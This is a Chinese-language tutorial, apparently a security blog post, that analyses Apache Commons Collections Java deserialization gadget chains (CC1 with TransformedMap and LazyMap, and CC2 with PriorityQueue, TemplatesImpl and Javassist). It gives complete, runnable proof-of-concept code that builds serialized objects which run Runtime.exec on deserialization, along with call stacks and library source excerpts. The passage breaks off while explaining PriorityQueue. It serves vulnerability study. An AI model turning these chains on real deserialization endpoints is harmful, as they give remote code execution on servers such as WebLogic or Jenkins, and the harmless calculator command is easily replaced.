Commons Collections 的利用链被称为cc 链,是源自Apache Commons Collections 的第三方库,包括Weblogic、JBoss、WebSphere、Jenkins 在内的知名Java 应用都使用了这个库。
CommonsCollections1
来自 P 牛。
影响版本
JDK<8u71
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Documented;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] {String.class, Class[].class}, new Object [] {"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , null }), new InvokerTransformer ( "exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }); LazyMap map = (LazyMap) LazyMap.decorate(new HashMap (), chainedTransformer); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ) .getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler mapHandler = (InvocationHandler) handlerConstructor.newInstance(Documented.class, map); Map proxyMap = (Map) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class [] {Map.class}, mapHandler); Constructor AnnotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ) .getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance( Target.class, proxyMap); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC1" )); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC1" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) checkSetValue:169 , TransformedMap (org.apache.commons.collections.map) setValue:191 , AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map) readObject:451 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:38 , CC1
前置知识
AnnotationInvocationHandler
起点在 AnnotationInvocationHandler 类的 readObject 方法。
memberValues 是反序列化得到的 map ,即 TransformedMap 修饰过的对象,这里赋值给 var4 并遍历其所有元素,依次校验并设置值。
调用 setValue 方法设置值的时候,触发 TransformedMap 类的 transform 方法。
AnnotationInvocationHandler 类的构造方法中,第一个参数需满足是注解类,且其有且仅有一个 Annotation 接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } } private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
java.lang.annotation 下存在有注解元素名的接口。
Target
1 2 3 4 5 6 7 8 package java.lang.annotation;@Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] value(); }
Repeatable
1 2 3 4 5 6 7 8 package java.lang.annotation;@Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Repeatable { Class<? extends Annotation > value(); }
Retention
1 2 3 4 5 6 7 8 package java.lang.annotation;@Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Retention { RetentionPolicy value () ; }
Transformer 接口中的 transform 方法传入和返回的对象都是 Object 类型。
1 2 3 public interface Transformer { public Object transform (Object input) ; }
TransformedMap 类使用checkSetValue 方法处理数据时,调用了transform 方法。
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
而其中的 decorate 方法,调用了构造方法并返回新的 map 对象。
1 2 3 4 5 6 7 8 9 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
ConstantTransformer 类调用 transform 方法会返回构造时传入的对象。
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
InvokerTransformer 类的 transform 方法会反射传入的参数,构造方法的三个参数分别是方法名、参数类型、参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } }
ChainedTransformer 类构造方法的传入参数是 Transformer 类数组,transform 方法会遍历传入的 Transformer 数组,调用其 transform 方法,并将上一条的输出结果作为下一条的输入。
1 2 3 4 5 6 7 8 9 10 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
分析
那么从 AnnotationInvocationHandler 的 readObject 方法开始重新捋一遍。
var3 赋值拿到注解元素名,var4 赋值拿到 POC 中的 outerMap 变量,然后开始遍历。
拿到 POC 中 map 的 key 赋值给 var6 ,然后判断这个 key 是否与 var3 的注解元素名相等,若不相等,则 var7 为 null 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
因此 POC 这里 constructor.newInstance 可选的不只是 Target.class ,还有 Repeatable.class 和 Retention.class ,但 map 的 key 皆是 value 。
然后跟进 AbstractInputCheckedMapDecorator 类下的 setValue 方法。
1 2 3 4 public Object setValue (Object value) { value = this .parent.checkSetValue(value); return super .entry.setValue(value); }
跳到 TransformedMap 类下的 checkSetValue 方法,开始调用 transform 方法。
而此处的 valueTransformer 变量,即为 POC 中的 ChainedTransformer 对象。
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
接着在 chainedTransformer 中遍历每一个 Transformer 类的 transform 方法。
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
那么接下来就一目了然了,ConstantTransformer 传入 Runtime.class 并返回,作为接下来 InvokerTransformer 类 transform 方法的输入。
1 2 3 4 5 6 Transformer[] transformer = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) };
因此第二个 InvokerTransformer 的执行如下。
1 2 3 Class cls = Runtime.class.getClass();Method method = cls.getMethod("getMethod" , new Class []{String.class, Class[].class});return method.invoke(Runtime.class, new Object []{"getRuntime" , null });
可以看做如下反射语句。
1 Class.forName("java.lang.Runtime" ).getMethod("getRuntime" );
而后不必多说,直接一气呵成到命令执行弹计算器,执行如下。
1 2 Class clazz = Class.forName("java.lang.Runtime" );clazz.getMethod("exec" , String.class).invoke(clazz.getMethod("getRuntime" ).invoke(clazz), "open -a Calculator" );
LazyMap利用链
来自 ysoserial 。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" })}); LazyMap map = (LazyMap) LazyMap.decorate(new HashMap (), chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true ); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Documented.class, map); Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, map_handler); Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC1" )); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC1" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) invoke:77 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy0 (com.sun.proxy) readObject:444 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:39 , CC1
前置知识
动态代理
先定义了接口,但并不去编写实现类,而是直接通过JDK 提供的一个Proxy.newProxyInstance() 创建一个接口对象。
这种没有实现类但是在运行期动态创建了一个接口对象的方式,称为动态代码。JDK 提供的动态创建接口对象的方式,就叫动态代理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class Main { public static void main (String[] args) { InvocationHandler handler = new InvocationHandler () { @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println(method); if (method.getName().equals("morning" )) { System.out.println("Good morning, " + args[0 ]); } return null ; } }; Hello hello = (Hello) Proxy.newProxyInstance( Hello.class.getClassLoader(), new Class [] { Hello.class }, handler); hello.morning("Bob" ); } } interface Hello { void morning (String name) ; }
LazyMap
LazyMap 类的get 方法在获取key 时,若key 不存在map 中,会调用一次transform 方法,然后将其放入map 。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
分析
前半部分反序列化链的构造基本相同,故不赘述,后半部分使用了LazyMap 来代替TransformedMap 。
而上面提到,LazyMap 在get 方法中调用了factory 的transform 方法,故此在POC 中有如下类似于TransformedMap 的构造。
1 LazyMap map = (LazyMap) LazyMap.decorate(new HashMap (), chain);
LazyMap 的decorate 方法将传入的POC 链赋值给了factory 变量。
1 2 3 4 5 6 7 8 9 10 11 12 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } else { this .factory = factory; } }
接下来,在AnnotationInvocationHandler 类中invoke 方法中有对memberValues 变量执行了get 方法。
而在构造AnnotationInvocationHandler 类时,传入的LazyMap 也恰好赋值给了memberValues 变量。
因此现在需要利用动态代理来调用AnnotationInvocationHandler 类,从而触发invoke 方法。
1 2 3 4 5 6 7 8 9 10 public Object invoke (Object var1, Method var2, Object[] var3) { switch (var4) { default : Object var6 = this .memberValues.get(var4); } }
从而有POC 中的如下构造。
1 2 3 4 5 LazyMap map = (LazyMap) LazyMap.decorate(new HashMap (), chain);Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class);handler_constructor.setAccessible(true ); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Documented.class, map);Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, map_handler);
但是到这里还不够,因为需要proxy_map 对象执行任意方法才能触发invoke 方法,故需要再将其包装一层,赋值给某个在反序列化过程中执行了任意方法的变量。
那么在AnnotationInvocationHandler 类的readObject 方法中,memberValues 对象执行了一次entrySet 方法。
1 2 3 4 5 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { Iterator var4 = this .memberValues.entrySet().iterator(); }
因此可以继续构造一个AnnotationInvocationHandler ,将proxy_map 赋予memberValues 来触发map_handler 中包装的invoke 方法。
1 2 3 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
此外,LazyMap 链在对AnnotationInvocationHandler 类的构造中,对第一个传参对象并无注解元素名的要求。
CommonsCollections2
影响版本
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC2 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" ) .getDeclaredConstructor(String.class); constructor.setAccessible(true ); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" ); TransformingComparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (1 ); Object[] queueArray = new Object [] {templates, 1 }; Field queueField = Class.forName("java.util.PriorityQueue" ).getDeclaredField("queue" ); queueField.setAccessible(true ); queueField.set(queue, queueArray); Field size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); size.setAccessible(true ); size.set(queue, 2 ); Field comparatorField = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(queue, comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC2" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC2" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat421930353946666 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:129 , InvokerTransformer (org.apache.commons.collections4.functors) compare:81 , TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721 , PriorityQueue (java.util) siftDown:687 , PriorityQueue (java.util) heapify:736 , PriorityQueue (java.util) readObject:795 , PriorityQueue (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:64 , CC2
前置知识
Javasist
是一个处理字节码的类库,能够动态的修改class 中的字节码。
需要maven 依赖。
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
附上Demo 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javassist.ClassPool;import javassist.CtClass;public class JavassistDemo { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); String cmd = "System.out.println(\"south\");" ; ctClass.makeClassInitializer().insertBefore(cmd); ctClass.writeFile("./" ); } }
ClassLoader
负责将字节码转化成内存中的Java 类,加载过程中采用双亲委派来实现加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;public class ClassLoadDemo { public static void main (String[] args) throws Exception { byte [] bytes = Files.readAllBytes(Paths.get("Evil.class" )); Class clazz1 = Class.forName("java.lang.ClassLoader" ); Method method = clazz1.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); method.setAccessible(true ); Class clazz2 = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "Evil" , bytes, 0 , bytes.length); System.out.println(clazz2.newInstance()); } }
defineClass 方法是protected 所以无法直接从外部进行调用,因此需要借助反射来调用。
但是返回的类并不会初始化,只有这个对象显式地调用其构造函数,初始化代码才能被执行,所以需要想办法调用返回的类的构造函数来执行命令。
TemplatesImpl
TemplatesImpl 中存在一个内部类TransletClassLoader ,重写了defineClass ,且没有对定义域显式声明,因此可以被调用。
1 2 3 4 5 6 7 8 9 10 public final class TemplatesImpl implements Templates , Serializable { static final class TransletClassLoader extends ClassLoader { Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } } }
利用链如下。
1 2 3 4 5 TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass()
在getTransletInstance 函数中,如果**_name为 null则直接返回 null,而 _class为 null将会进入 defineTransletClasses**方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public final class TemplatesImpl implements Templates , Serializable { private String _name = null ; private Class[] _class = null ; private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); } } }
defineTransletClasses 函数中,将**_bytecodes传入了 defineClass函数,因此其值需要为恶意类的字节码。此外,当 _tfactory**为空时会触发异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public final class TemplatesImpl implements Templates , Serializable { private byte [][] _bytecodes = null ; private transient TransformerFactoryImpl _tfactory = null ; private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap()); } }); try { for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); } } } }
综上所述,**_name不为空,随意传参; _class需要为空; _bytecodes的参数类型是 byte[][]因此需要转换一下;最后是给 _tfactory**赋值。
然后要注意的是TemplatesImpl 类中的defineTransletClasses 方法在将字节码转换后会判断其是否继承AbstractTranslet ,因此需要使得恶意类继承AbstractTranslet 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Field;public class TemplatesDemo { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass ctClass = pool.makeClass("Test" ); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String cmd = "System.out.println(\"Test\");" ; CtConstructor constructor = ctClass.makeClassInitializer(); constructor.insertBefore(cmd); ctClass.writeFile("./" ); byte [] bytes = ctClass.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); setFieled(templates, clazz, "_name" , "test" ); setFieled(templates, clazz, "_class" , null ); setFieled(templates, clazz, "_bytecodes" , new byte [][]{bytes}); setFieled(templates, clazz, "_tfactory" , new TransformerFactoryImpl ()); templates.getOutputProperties(); } public static void setFieled (TemplatesImpl templates, Class clas, String fieled, Object obj) throws Exception { Field _field = clas.getDeclaredField(fieled); _field.setAccessible(true ); _field.set(templates, obj); } }
利用链如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass() newInstance() System.out.println("Test" )
分析
TransformingComparator 类的compare 方法中调用了transform 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class TransformingComparator <I, O> implements Comparator <I>, Serializable { private static final long serialVersionUID = 3456940356043606220L ; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O > transformer; public TransformingComparator (Transformer<? super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator (Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this .decorated = decorated; this .transformer = transformer; } public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } }
而InvokerTransformer 类中的transform 方法可以进行invoke 调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class InvokerTransformer <I, O> implements Transformer <I, O>, Serializable { public O transform (Object input) { if (input == null ) { return null ; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } } } }
因此当obj1 可控时,可以构造合适的InvokerTransformer 类对象赋给obj1 来进行反射调用。
分析至此,接下来还需要可触发TransformingComparator 类中compare 方法的调用链,CC2 中使用的是PriorityQueue 。
PriorityQueue
writeObject 方法中会将queue 成员变量序列化,此处可用反射调用,因此可控。
1 2 3 4 5 6 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { for (int i = 0 ; i < size; i++) s.writeObject(queue[i]); }
readObject 方法对传入的ObjectInputStream 进行反序列化然后赋值给queue 数组。
